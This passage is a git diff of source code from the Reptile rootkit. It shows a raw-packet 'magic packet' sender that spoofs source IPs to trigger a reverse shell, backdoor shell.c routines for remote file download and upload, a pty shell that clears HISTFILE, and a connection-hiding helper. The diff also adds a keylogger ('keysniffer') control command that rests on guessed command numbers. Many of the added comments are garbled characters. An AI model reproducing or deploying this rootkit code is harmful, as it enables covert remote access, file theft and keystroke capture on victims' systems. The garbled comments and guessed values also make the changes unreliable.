tcph->urg_ptr = 0; - tcph->check = 0; - - psh.saddr = inet_addr(srcip); - psh.daddr = inet_addr(dstip); - psh.zero = 0; - psh.protocol = IPPROTO_TCP; - psh.length = htons(sizeof(struct tcphdr) + data_len); - - plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; - - if ((pseudo_packet = malloc(plen)) == NULL) { - fatal("on malloc"); - goto close_socket; - } - - bzero(pseudo_packet, plen); - memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); - - tcph->seq = htons(SEQ); - tcph->check = 0; - memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); - tcph->check = csum((unsigned short *)pseudo_packet, plen); - - s.sin_family = AF_INET; - s.sin_port = htons(dstport); - s.sin_addr.s_addr = inet_addr(dstip); - - if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) - fatal("on sending package"); - - if (nbytes > 0) { - fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes); - ret = EXIT_SUCCESS; - } - - free(pseudo_packet); +// TCPݰĺ +int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) { + // + int socktcp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam, plen; + char* buffer; + struct iphdr* iph; + struct tcphdr* tcph; + struct sockaddr_in s; + socklen_t optval = 1; + struct pseudohdr psh; + char* pseudo_packet; + + // ݰܳ + pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len; + + // ڴ + if (!(buffer = (char*)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + // ʼڴ + memset(buffer, '\0', pckt_tam); + + // IPײ + iph = (struct iphdr*)buffer; + tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr)); + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_TCP; + iph->tot_len = pckt_tam; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + iph->check = csum((unsigned short*)buffer, iph->tot_len); + + // TCPײ + tcph->source = htons(srcport); + tcph->dest = htons(dstport); + tcph->seq = 0x0; + tcph->ack_seq = 0; + tcph->doff = 5; + tcph->fin = 0; + tcph->syn = 1; + tcph->rst = 0; + tcph->psh = 0; + tcph->ack = 0; + tcph->urg = 0; + tcph->window = htons(WIN); + tcph->urg_ptr = 0; + tcph->check = 0; + + // αײڼTCPУ + psh.saddr = inet_addr(srcip); + psh.daddr = inet_addr(dstip); + psh.zero = 0; + psh.protocol = IPPROTO_TCP; + psh.length = htons(sizeof(struct tcphdr) + data_len); + + // TCPײݵУ + plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; + if ((pseudo_packet = malloc(plen)) == NULL) { + fatal("on malloc"); + goto close_socket; + } + bzero(pseudo_packet, plen); + memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); + tcph->seq = htons(SEQ); + tcph->check = 0; + memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); + tcph->check = csum((unsigned short*)pseudo_packet, plen); + + // ĿĵַͶ˿ + s.sin_family = AF_INET; + s.sin_port = htons(dstport); + s.sin_addr.s_addr = inet_addr(dstip); + + // ݰ + if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + // Դ + if (nbytes > 0) { + fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + + free(pseudo_packet); close_socket: - close(socktcp); + close(socktcp); free_buffer: - free(buffer); - return ret; + free(buffer); + return ret; } -int icmp(char *srcip, char *dstip, char *data, unsigned int data_len) -{ - int sockicmp, nbytes, ret = EXIT_FAILURE; - unsigned int pckt_tam; - char *buffer; - struct iphdr *iph; - struct icmphdr *icmp; - struct sockaddr_in s; - socklen_t optval = 1; - - pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len); - - if (!(buffer = (char *)malloc(pckt_tam))) { - fatal("on allocating buffer memory"); - return ret; - } - - memset(buffer, '\0', pckt_tam); - - iph = (struct iphdr *)buffer; - icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); - - if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { - fatal("in creating raw ICMP socket"); - goto free_buffer; - } - - if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { - fatal("in setsockopt"); - goto close_socket; - } - - memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len); - - iph->ihl = 5; - iph->version = 4; - iph->tos = 0; - iph->id = htons(IPID); - iph->ttl = 255; - iph->protocol = IPPROTO_ICMP; - iph->saddr = inet_addr(srcip); - iph->daddr = inet_addr(dstip); - iph->tot_len = pckt_tam; - iph->check = csum((unsigned short *)buffer, iph->tot_len); - - icmp->type = 8; - icmp->code = ICMP_ECHO; - icmp->checksum = 0; - icmp->un.echo.id = htons(WIN); - icmp->un.echo.sequence = htons(SEQ); - - icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); - - s.sin_family = AF_INET; - s.sin_addr.s_addr = inet_addr(dstip); - - if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) - fatal("on sending package"); - - if (nbytes > 0) { - fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes); - ret = EXIT_SUCCESS; - } - +// ICMPݰĺ +int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) { + // + int sockicmp, nbytes, ret = EXIT_FAILURE; + unsigned int pckt_tam; + char* buffer; + struct iphdr* iph; + struct icmphdr* icmp; + struct sockaddr_in s; + socklen_t optval = 1; + + // ݰܳ + pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len; + + // ڴ + if (!(buffer = (char*)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); + return ret; + } + + // ʼڴ + memset(buffer, '\0', pckt_tam); + + // IPײ + iph = (struct iphdr*)buffer; + icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr)); + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->id = htons(IPID); + iph->ttl = 255; + iph->protocol = IPPROTO_ICMP; + iph->saddr = inet_addr(srcip); + iph->daddr = inet_addr(dstip); + iph->tot_len = pckt_tam; + iph->check = csum((unsigned short*)buffer, iph->tot_len); + + // ICMPײ + icmp->type = 8; // ICMPͣ + icmp->code = ICMP_ECHO; // ICMP룺 + icmp->checksum = 0; // Уֶ + icmp->un.echo.id = htons(WIN); // ICMPʶ + icmp->un.echo.sequence = htons(SEQ); // ICMPк + + // ICMPײݵУ + icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len); + + // Ŀĵַ + s.sin_family = AF_INET; + s.sin_addr.s_addr = inet_addr(dstip); + + // ݰ + if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); + + // Դ + if (nbytes > 0) { + fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes); + ret = EXIT_SUCCESS; + } + close_socket: - close(sockicmp); + close(sockicmp); free_buffer: - free(buffer); - return ret; + free(buffer); + return ret; } -int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) -{ - int sockudp, nbytes, ret = EXIT_FAILURE; - unsigned int pckt_tam, plen; - char *buffer; - struct iphdr *iph; - struct udphdr *udph; - struct sockaddr_in s; - socklen_t optval = 1; - struct pseudohdr psh; - char *pseudo_packet; - - pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len; - - if (!(buffer = (char *)malloc(pckt_tam))) { - fatal("on allocating buffer memory"); - return ret; - } - - memset(buffer, '\0', pckt_tam); - - iph = (struct iphdr *)buffer; - udph = (struct udphdr *)(buffer + sizeof(struct iphdr)); - - if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) { - fatal("on creating UDP socket"); - goto free_buffer; - } - - if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { - fatal("on setsockopt"); - goto close_socket; - } - - memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len); - - iph->ihl = 5; - iph->version = 4; - iph->tos = 0; - iph->id = htons(IPID); - iph->ttl = 255; - iph->protocol = IPPROTO_UDP; - iph->tot_len = pckt_tam; - iph->saddr = inet_addr(srcip); - iph->daddr = inet_addr(dstip); - iph->check = csum((unsigned short *)buffer, iph->tot_len); - - udph->source = htons(srcport); - udph->dest = htons(dstport); - udph->len = htons(sizeof(struct udphdr) + data_len); - udph->check = 0; - - psh.saddr = inet_addr(srcip); - psh.daddr = inet_addr(dstip); - psh.zero = 0; - psh.protocol = IPPROTO_UDP; - psh.length = htons(sizeof(struct udphdr) + data_len); - - plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; - - if ((pseudo_packet = malloc(plen)) == NULL) { - fatal("on malloc"); - goto close_socket; - } - - bzero(pseudo_packet, plen); - memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); - - udph->check = 0; - memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); - udph->check = csum((unsigned short *)pseudo_packet, plen); - - //fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check)); - - s.sin_family = AF_INET; - s.sin_port = htons(dstport); - s.sin_addr.s_addr = inet_addr(dstip); - - if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) - fatal("on sending package"); - - if (nbytes > 0) { - fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); - ret = EXIT_SUCCESS; - } - - free(pseudo_packet); +// UDPݰĺ +int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) { + // + int sockudp, nbytes, ret = EXIT_FAILURE; // ͨŵsocket͵ֵֽ + unsigned int pckt_tam, plen; // ݰȣα + char* buffer; // + struct iphdr* iph; // IPͷָ + struct udphdr* udph; // UDPͷָ + struct sockaddr_in s; // ַṹ + socklen_t optval = 1; // socketѡֵ + struct pseudohdr psh; // αͷṹ + char* pseudo_packet; // αָ + + // ݰܳ + pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len; + + // ڴ + if (!(buffer = (char*)malloc(pckt_tam))) { + fatal("on allocating buffer memory"); // ʧʱfatal + return ret; // ʧ + } + + // ʼڴ + memset(buffer, '\0', pckt_tam); // + + // IPײ + iph = (struct iphdr*)buffer; // ĿʼΪIPͷ + udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IPͷUDPͷ + iph->ihl = 5; // IPͷ + iph->version = 4; // IP汾 + iph->tos = 0; // + iph->id = htons(IPID); // ʶ + iph->ttl = 255; // + iph->protocol = IPPROTO_UDP; // Э + iph->tot_len = pckt_tam; // ܳ + iph->saddr = inet_addr(srcip); // ԴIPַ + iph->daddr = inet_addr(dstip); // ĿIPַ + iph->check = csum((unsigned short*)buffer, iph->tot_len); // У + + // UDPײ + udph->source = htons(srcport); // Դ˿ + udph->dest = htons(dstport); // ĿĶ˿ + udph->len = htons(sizeof(struct udphdr) + data_len); // UDP + udph->check = 0; // УͳʼΪ0 + + // αͷ + psh.saddr = inet_addr(srcip); // ԴIPַ + psh.daddr = inet_addr(dstip); // ĿIPַ + psh.zero = 0; // 0 + psh.protocol = IPPROTO_UDP; // Э + psh.length = htons(sizeof(struct udphdr) + data_len); // UDP + + // α + plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; + + // αڴ + if ((pseudo_packet = malloc(plen)) == NULL) { + fatal("on malloc"); // ʧʱfatal + goto close_socket; // תرsocketıǩ + } + + // ʼαڴ + bzero(pseudo_packet, plen); // α + memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // αͷ + + // UDPУ + udph->check = 0; // УΪ0 + memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // UDPͷ + udph->check = csum((unsigned short*)pseudo_packet, plen); // У + + // Ŀĵַ + s.sin_family = AF_INET; // ַ + s.sin_port = htons(dstport); // ĿĶ˿ + s.sin_addr.s_addr = inet_addr(dstip); // ĿIPַ + + // ݰ + if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1) + fatal("on sending package"); // ʧʱfatal + + // 鷢͵ֽ + if (nbytes > 0) { + fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // ӡɹϢ + ret = EXIT_SUCCESS; // ÷ֵΪɹ + } + + // ͷαڴ + free(pseudo_packet); close_socket: - close(sockudp); + // رsocket + close(sockudp); free_buffer: - free(buffer); - return ret; + // ͷŻڴ + free(buffer); + return ret; // ؽ } -void usage(char *argv0) +void usage(char* argv0) { - fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); - fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); - fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); - fprintf(stderr, "-t\tTarget\n"); - fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); - fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); - fprintf(stderr, "-s\tSource IP address to spoof\n"); - fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); - fprintf(stderr, "-l\tHost to receive the reverse shell\n"); - fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); - fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n"); - exit(1); + // ӡʹ˵ + fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); + fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); + fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); + fprintf(stderr, "-t\tTarget\n"); + fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); + fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); + fprintf(stderr, "-s\tSource IP address to spoof\n"); + fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); + fprintf(stderr, "-l\tHost to receive the reverse shell\n"); + fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); + fprintf(stderr, "-k\tToken to trigger the port-knocking\n"); + exit(1); // ˳ } -int main(int argc, char **argv) +int main(int argc, char** argv) { - int opt, dstport, srcport, len, crypt_len; - char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port, - *token, *data; - - dstport = srcport = 0; - - prot = dstip = srcip = connect_back_host = connect_back_port = token = - NULL; - - while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { - switch (opt) { - case 'x': - prot = optarg; - if (strcmp(prot, "icmp") == 0 || - strcmp(prot, "ICMP") == 0) { - if (strcmp(prot, "udp") == 0 || - strcmp(prot, "UDP") == 0) { - if (strcmp(prot, "tcp") == 0 || - strcmp(prot, "TCP") == 0) { - printf("%s wrong " - "protocol\n", - bad); - exit(-1); - } - } - } - break; - case 't': - if (strlen(optarg) > 15) { - printf("%s wrong IP address\n", bad); - exit(-1); - } - dstip = optarg; - break; - case 'l': - if (strlen(optarg) > 15) { - printf("%s wrong IP address\n", bad); - exit(-1); - } - connect_back_host = optarg; - break; - case 'p': - if (atoi(optarg) < 0 || atoi(optarg) > 65535) { - printf("%s wrong port\n", bad); - exit(-1); - } - connect_back_port = optarg; - break; - case 'r': - if (atoi(optarg) < 0 || atoi(optarg) > 65535) { - printf("%s wrong port\n", bad); - exit(-1); - } - dstport = atoi(optarg); - break; - case 's': - if (strlen(optarg) > 15) { - printf("%s wrong IP address\n", bad); - exit(-1); - } - srcip = optarg; - break; - case 'q': - if (atoi(optarg) < 0 || atoi(optarg) > 65535) { - printf("%s wrong port\n", bad); - exit(-1); - } - srcport = atoi(optarg); - break; - case 'k': - if (strlen(optarg) > 16 || strlen(optarg) < 5) { - printf("%s wrong size of token\n", bad); - exit(-1); - } - token = optarg; - break; - default: - usage(argv[0]); - break; - } - } - - if (prot == NULL || dstip == NULL || srcip == NULL || - connect_back_host == NULL || connect_back_port == NULL || - token == NULL) { - usage(argv[0]); - } - - if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || - strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { - if (srcport == 0 || dstport == 0) - usage(argv[0]); - } - - - len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; - crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; - data = (char *)malloc(len); - - if (!data) - fatal("malloc"); - - bzero(data, len); - snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); - do_encrypt(data + strlen(token) + 1, crypt_len, KEY); - - // printf("data size: %d\n", len); - - if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { - tcp(srcip, dstip, srcport, dstport, data, len); - } else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { - icmp(srcip, dstip, data, len); - } else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { - udp(srcip, dstip, srcport, dstport, data, len); - } - - free(data); - return EXIT_SUCCESS; -} + // + int opt, dstport, srcport, len, crypt_len; + char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port, + * token, * data; + + // ʼ˿ڱ + dstport = srcport = 0; + + // ʼַָ + prot = dstip = srcip = connect_back_host = connect_back_port = token = + NULL; + + // в + while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { + switch (opt) { + case 'x': + // Э + prot = optarg; + // ЭǷϷ + if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { + if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { + printf("%s wrong protocol\n", bad); + exit(-1); + } + } + } + break; + case 't': + // ĿIP + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + dstip = optarg; + break; + case 'l': + // ӻIP + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + connect_back_host = optarg; + break; + case 'p': + // ӻԶ˿ + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + connect_back_port = optarg; + break; + case 'r': + // Զ̶˿ + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + dstport = atoi(optarg); + break; + case 's': + // ԴIP + if (strlen(optarg) > 15) { + printf("%s wrong IP address\n", bad); + exit(-1); + } + srcip = optarg; + break; + case 'q': + // Դ˿ + if (atoi(optarg) < 0 || atoi(optarg) > 65535) { + printf("%s wrong port\n", bad); + exit(-1); + } + srcport = atoi(optarg); + break; + case 'k': + // + if (strlen(optarg) > 16 || strlen(optarg) < 5) { + printf("%s wrong size of token\n", bad); + exit(-1); + } + token = optarg; + break; + default: + // ӡʹ˵ + usage(argv[0]); + break; + } + } + + // ҪIJǷ + if (prot == NULL || dstip == NULL || srcip == NULL || + connect_back_host == NULL || connect_back_port == NULL || + token == NULL) { + usage(argv[0]); + } + + // ˿ڲ + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || + strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { + if (srcport == 0 || dstport == 0) + usage(argv[0]); + } + + // ݳ + len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; + crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; + data = (char*)malloc(len); + + // ڴ + if (!data) + fatal("malloc"); + + // ʼ + bzero(data, len); + snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); + do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // + + // Э鷢ݰ + if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { + tcp(srcip, dstip, srcport, dstport, data, len); + } + else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { + icmp(srcip, dstip, data, len); + } + else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { + udp(srcip, dstip, srcport, dstport, data, len); + } + + // ͷڴ + free(data); + return EXIT_SUCCESS; // سɹ +} \ No newline at end of file diff --git a/src/Reptile/userland/cmd.c b/src/Reptile/userland/cmd.c index b187852..8efaa82 100644 --- a/src/Reptile/userland/cmd.c +++ b/src/Reptile/userland/cmd.c @@ -190,6 +190,27 @@ int main(int argc, char **argv) } } }*/ + if (strcmp(argv[1], "keysniffer") == 0) { + if (argc < 3) + goto fail; + + if (strcmp(argv[2], "start") == 0) { + args.cmd = 6; // 假设6是启动keysniffer的命令 + } else if (strcmp(argv[2], "stop") == 0) { + args.cmd = 7; // 假设7是停止keysniffer的命令 + } else { + goto fail; + } + + if (ioctl(sockfd, AUTH, HTUA) == 0) { + if (ioctl(sockfd, AUTH, &args) == 0) { + if (ioctl(sockfd, AUTH, HTUA) == 0) { + printf("\e[01;32mSuccess!\e[00m\n"); + goto out; + } + } + } + } fail: // fail标签,打印失败信息并关闭套接字 printf("\e[01;31mFailed!\e[00m\n"); out: // out标签,关闭套接字并返回0表示程序结束 diff --git a/src/Reptile/userland/shell.c b/src/Reptile/userland/shell.c index 5401d52..acca08d 100644 --- a/src/Reptile/userland/shell.c +++ b/src/Reptile/userland/shell.c @@ -15,7 +15,7 @@ #include "config.h" #include "pel.h" -#define ERROR -1 +#define ERROR -1 unsigned char message[BUFSIZE + 1]; extern char *optarg; @@ -23,224 +23,239 @@ char *rcfile; #ifndef _REPTILE_ +// 打印使用说明 void usage(char *argv0) { - fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); - fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); + fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); + fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); } #endif +// 获取文件 int get_file(int client) { - int ret, len, fd; + int ret, len, fd; - ret = pel_recv_msg(client, message, &len); + // 接收文件名 + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS) - return (ERROR); + if (ret != PEL_SUCCESS) + return (ERROR); - if (message[0] == OUT) - return 1; + if (message[0] == OUT) + return 1; - message[len] = '\0'; + message[len] = '\0'; - fd = open((char *)message, O_RDONLY); + // 打开文件 + fd = open((char *)message, O_RDONLY); - if (fd < 0) - return (ERROR); + if (fd < 0) + return (ERROR); - while (1) { - len = read(fd, message, BUFSIZE); + // 读取文件内容并发送 + while (1) { + len = read(fd, message, BUFSIZE); - if (len == 0) - break; - if (len < 0) - return (ERROR); + if (len == 0) + break; + if (len < 0) + return (ERROR); - ret = pel_send_msg(client, message, len); + ret = pel_send_msg(client, message, len); - if (ret != PEL_SUCCESS) - return (ERROR); - } - return 0; + if (ret != PEL_SUCCESS) + return (ERROR); + } + return 0; } +// 上传文件 int put_file(int client) { - int ret, len, fd; + int ret, len, fd; - ret = pel_recv_msg(client, message, &len); + // 接收文件名 + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS) - return (ERROR); + if (ret != PEL_SUCCESS) + return (ERROR); - if (message[0] == OUT) - return (ERROR); + if (message[0] == OUT) + return (ERROR); - message[len] = '\0'; - fd = creat((char *)message, 0644); + message[len] = '\0'; + fd = creat((char *)message, 0644); - if (fd < 0) - return (ERROR); + if (fd < 0) + return (ERROR); - while (1) { - ret = pel_recv_msg(client, message, &len); + // 接收文件内容并写入 + while (1) { + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS) - return (ERROR); + if (ret != PEL_SUCCESS) + return (ERROR); - if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) - break; + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) + break; - if (write(fd, message, len) != len) - return (ERROR); - } - return 0; + if (write(fd, message, len) != len) + return (ERROR); + } + return 0; } +// 运行 shell int runshell(int client) { - fd_set rd; - struct winsize ws; - char *slave, *temp, *shell; - int ret, len, pid, pty, tty, n; + fd_set rd; + struct winsize ws; + char *slave, *temp, *shell; + int ret, len, pid, pty, tty, n; - if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) - return (ERROR); + // 打开伪终端 + if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) + return (ERROR); - slave = ttyname(tty); + slave = ttyname(tty); - if (slave == NULL) - return (ERROR); + if (slave == NULL) + return (ERROR); - chdir(HOMEDIR); - putenv("HISTFILE="); + chdir(HOMEDIR); + putenv("HISTFILE="); - ret = pel_recv_msg(client, message, &len); + // 接收终端类型 + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS) - return (ERROR); + if (ret != PEL_SUCCESS) + return (ERROR); - message[len] = '\0'; - setenv("TERM", (char *)message, 1); + message[len] = '\0'; + setenv("TERM", (char *)message, 1); - ret = pel_recv_msg(client, message, &len); + // 接收窗口大小 + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS || len != 4) - return (ERROR); + if (ret != PEL_SUCCESS || len != 4) + return (ERROR); - ws.ws_row = ((int)message[0] << 8) + (int)message[1]; - ws.ws_col = ((int)message[2] << 8) + (int)message[3]; - ws.ws_xpixel = 0; - ws.ws_ypixel = 0; + ws.ws_row = ((int)message[0] << 8) + (int)message[1]; + ws.ws_col = ((int)message[2] << 8) + (int)message[3]; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; - if (ioctl(pty, TIOCSWINSZ, &ws) < 0) - return (ERROR); + if (ioctl(pty, TIOCSWINSZ, &ws) < 0) + return (ERROR); - ret = pel_recv_msg(client, message, &len); + // 接收命令 + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS) - return (ERROR); + if (ret != PEL_SUCCESS) + return (ERROR); - if (len == 1 && message[0] == RUNSHELL) { - temp = (char *)malloc(20 + strlen(rcfile)); + if (len == 1 && message[0] == RUNSHELL) { + temp = (char *)malloc(20 + strlen(rcfile)); - if (temp == NULL) - return (ERROR); + if (temp == NULL) + return (ERROR); - strcpy(temp, "exec bash --rcfile "); - strcat(temp, rcfile); - } else { - message[len] = '\0'; - temp = (char *)malloc(len + 1); + strcpy(temp, "exec bash --rcfile "); + strcat(temp, rcfile); + } else { + message[len] = '\0'; + temp = (char *)malloc(len + 1); - if (temp == NULL) - return (ERROR); + if (temp == NULL) + return (ERROR); - strncpy(temp, (char *)message, len + 1); - } + strncpy(temp, (char *)message, len + 1); + } - pid = fork(); + // 创建子进程 + pid = fork(); - if (pid < 0) { - free(temp); - return (ERROR); - } + if (pid < 0) { + free(temp); + return (ERROR); + } - if (pid == 0) { - close(client); - close(pty); + if (pid == 0) { + close(client); + close(pty); - if (setsid() < 0) { - free(temp); - return (ERROR); - } + if (setsid() < 0) { + free(temp); + return (ERROR); + } - if (ioctl(tty, TIOCSCTTY, NULL) < 0) { - free(temp); - return (ERROR); - } + if (ioctl(tty, TIOCSCTTY, NULL) < 0) { + free(temp); + return (ERROR); + } - dup2(tty, 0); - dup2(tty, 1); - dup2(tty, 2); + dup2(tty, 0); + dup2(tty, 1); + dup2(tty, 2); - if (tty > 2) - close(tty); + if (tty > 2) + close(tty); - shell = (char *)malloc(10); + shell = (char *)malloc(10); - if (shell == NULL) { - free(temp); - return (ERROR); - } + if (shell == NULL) { + free(temp); + return (ERROR); + } - strcpy(shell, "/bin/bash"); + strcpy(shell, "/bin/bash"); - execl(shell, shell + 5, "-c", temp, (char *)0); - free(temp); - free(shell); + execl(shell, shell + 5, "-c", temp, (char *)0); + free(temp); + free(shell); - return 0; - } else { - close(tty); + return 0; + } else { + close(tty); - while (1) { - FD_ZERO(&rd); - FD_SET(client, &rd); - FD_SET(pty, &rd); + // 处理数据传输 + while (1) { + FD_ZERO(&rd); + FD_SET(client, &rd); + FD_SET(pty, &rd); - n = (pty > client) ? pty : client; + n = (pty > client) ? pty : client; - if (select(n + 1, &rd, NULL, NULL, NULL) < 0) - return (ERROR); + if (select(n + 1, &rd, NULL, NULL, NULL) < 0) + return (ERROR); - if (FD_ISSET(client, &rd)) { - ret = pel_recv_msg(client, message, &len); + if (FD_ISSET(client, &rd)) { + ret = pel_recv_msg(client, message, &len); - if (ret != PEL_SUCCESS) - return (ERROR); - if (write(pty, message, len) != len) - return (ERROR); - } + if (ret != PEL_SUCCESS) + return (ERROR); + if (write(pty, message, len) != len) + return (ERROR); + } - if (FD_ISSET(pty, &rd)) { - len = read(pty, message, BUFSIZE); + if (FD_ISSET(pty, &rd)) { + len = read(pty, message, BUFSIZE); - if (len == 0) - break; - if (len < 0) - return (ERROR); + if (len == 0) + break; + if (len < 0) + return (ERROR); - ret = pel_send_msg(client, message, len); + ret = pel_send_msg(client, message, len); - if (ret != PEL_SUCCESS) - return (ERROR); - } - } - return 0; - } + if (ret != PEL_SUCCESS) + return (ERROR); + } + } + return 0; + } } #ifdef _REPTILE_ @@ -249,247 +264,265 @@ int runshell(int client) #define UNHIDE 0 struct control { - unsigned short cmd; - void *argv; + unsigned short cmd; + void *argv; }; +// 隐藏连接 void hide_conn(struct sockaddr_in addr, int hide) { - struct control args; - int sockioctl = socket(AF_INET, SOCK_STREAM, 6); + struct control args; + int sockioctl = socket(AF_INET, SOCK_STREAM, 6); - if (sockioctl < 0) - exit(1); + if (sockioctl < 0) + exit(1); - if (hide) 